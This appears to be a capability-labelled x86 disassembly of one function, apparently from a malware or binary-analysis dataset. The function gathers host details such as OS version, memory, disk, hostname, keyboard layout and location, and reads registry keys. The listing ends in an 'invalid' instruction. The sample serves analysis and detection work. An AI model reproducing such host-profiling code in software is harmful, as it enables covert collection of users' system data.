Function at 0x450b6c
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc9
push 0
push 0
dec ecx
jne 0x450b74
push ecx
push ebx
push esi
push edi
mov esi, 0x467080
mov edi, 0x467098
xor eax, eax
push ebp
push 0x45204c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x452064
call fcn.004045b8
mov eax, edi
mov edx, 0x452118
call fcn.004045b8
mov dword [ebp - 0xe4], 0x94
mov eax, esi
mov edx, 0x452124
call fcn.004045b8
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov ebx, dword [ebp - 0xd4]
cmp ebx, 2
jne 0x450beb
lea eax, [ebp - 8]
mov edx, 0x452154
call fcn.004045fc
jmp 0x450c0f
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5bc]
call fcn.004079b4
mov ecx, dword [ebp - 0x5bc]
lea eax, [ebp - 8]
mov edx, 0x452170
call fcn.00404870
cmp byte [0x4670c8], 0
je 0x450c27
lea eax, [ebp - 4]
mov edx, 0x45218c
call fcn.004045fc
jmp 0x450c34
lea eax, [ebp - 4]
mov edx, 0x45219c
call fcn.004045fc
mov eax, esi
mov edx, 0x4521ac
call fcn.004045b8
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c0]
call fcn.004079b4
push dword [ebp - 0x5c0]
push 0x45225c
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c4]
call fcn.004079b4
push dword [ebp - 0x5c4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004048e4
mov eax, dword [ebp - 0xc]
mov edx, 0x452268
call fcn.00404970
jne 0x450ca4
lea eax, [ebp - 4]
mov edx, 0x452274
call fcn.004045fc
mov eax, esi
mov edx, 0x452284
call fcn.004045b8
lea eax, [ebp - 0x18]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.004047d4
mov eax, dword [ebp - 0x18]
mov edx, 0x452330
call fcn.00404970
jne 0x450ce1
lea eax, [ebp - 0x18]
mov edx, 0x452348
call fcn.004045fc
jmp 0x450d39
mov eax, dword [ebp - 0x18]
mov edx, 0x452354
call fcn.00404970
jne 0x450cff
lea eax, [ebp - 0x18]
mov edx, 0x45236c
call fcn.004045fc
jmp 0x450d39
mov eax, dword [ebp - 0x18]
mov edx, 0x452378
call fcn.00404970
jne 0x450d1d
lea eax, [ebp - 0x18]
mov edx, 0x452390
call fcn.004045fc
jmp 0x450d39
mov eax, dword [ebp - 0x18]
mov edx, 0x45239c
call fcn.00404970
jne 0x450d39
lea eax, [ebp - 0x18]
mov edx, 0x4523b4
call fcn.004045fc
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5c8]
call fcn.004079b4
mov ecx, dword [ebp - 0x5c8]
lea eax, [ebp - 0x10]
mov edx, 0x4523c0
call fcn.00404870
push dword [ebp - 4]
push 0x4523d0
push dword [ebp - 0xc]
push 0x4523dc
push dword [ebp - 0x18]
push 0x4523dc
push dword [ebp - 0x10]
push 0x4523dc
lea eax, [ebp - 0x14]
mov edx, 8
call fcn.004048e4
push dword [edi]
push dword [ebp - 8]
push 0x452118
push dword [ebp - 4]
push 0x4523d0
push dword [ebp - 0xc]
push 0x452118
push dword [ebp - 0x10]
push 0x452118
push dword [ebp - 0x18]
push 0x452118
push 0x4523e8
push dword [0x467048]
push 0x4523fc
push 0x452118
mov eax, edi
mov edx, 0xf
call fcn.004048e4
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [edi]
push 0x452408
lea eax, [ebp - 0x5cc]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.004047d4
push dword [ebp - 0x5cc]
push 0x452118
mov eax, edi
mov edx, 4
call fcn.004048e4
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x45241c
mov edx, 0x452430
and al, 0x45
add byte [eax - 0x7fffffff], bh
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x20]
call fcn.00407994
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f4]
mov ecx, dword [ebp - 0x10]
mov edx, 0x452b48
call fcn.00404870
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x452b60
mov eax, 0x80000002
call fcn.00408e08
mov eax, dword [ebp - 0xc]
call fcn.00404824
test eax, eax
jle 0x45120f
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x452118
mov eax, edi
mov edx, 4
call fcn.004048e4
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x452b88
call fcn.00404870
mov ecx, dword [ebp - 0x5f8]
mov edx, 0x452ba4
mov eax, 0x80000002
call fcn.00408e08
mov eax, dword [ebp - 0xc]
call fcn.00404824
test eax, eax
jle 0x45126b
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x452118
mov eax, edi
mov edx, 4
call fcn.004048e4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x4511a8
mov eax, dword [0x465198]
push eax
mov ecx, 0x452bd0
mov edx, 0x452be8
mov eax, 0x80000002
call fcn.00408d54
lea edx, [ebp - 0x10]
call fcn.00407994
mov eax, esi
mov edx, 0x452c30
call fcn.004045b8
mov eax, dword [ebp - 0x10]
call fcn.00404824
test eax, eax
jle 0x4512cc
push 0x452c98
push dword [ebp - 0x10]
push 0x452118
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004048e4
mov dword [ebp - 0x5b8], 0x20
lea eax, [ebp - 0x5b8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, esi
mov edx, 0x452814
call fcn.004045b8
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 4]
call fcn.004079b4
push dword [ebp - 0x14]
push 0x452cb0
push dword [ebp - 4]
push 0x4523dc
push dword [0x467048]
push 0x4523dc
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.004048e4
push dword [edi]
push 0x4528e4
push 0x452cc0
push 0x452118
push 0x452cd4
push dword [ebp - 4]
push 0x452cec
push 0x452118
push 0x452cf8
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.004079b4
push dword [ebp - 0x5fc]
push 0x452d08
push 0x452118
push 0x452d14
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.004079b4
push dword [ebp - 0x600]
push 0x452cec
push 0x452118
push 0x4528e4
push 0x452d2c
push 0x452118
push 0x452d40
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.004079b4
push dword [ebp - 0x604]
push 0x452cec
push 0x452118
invalid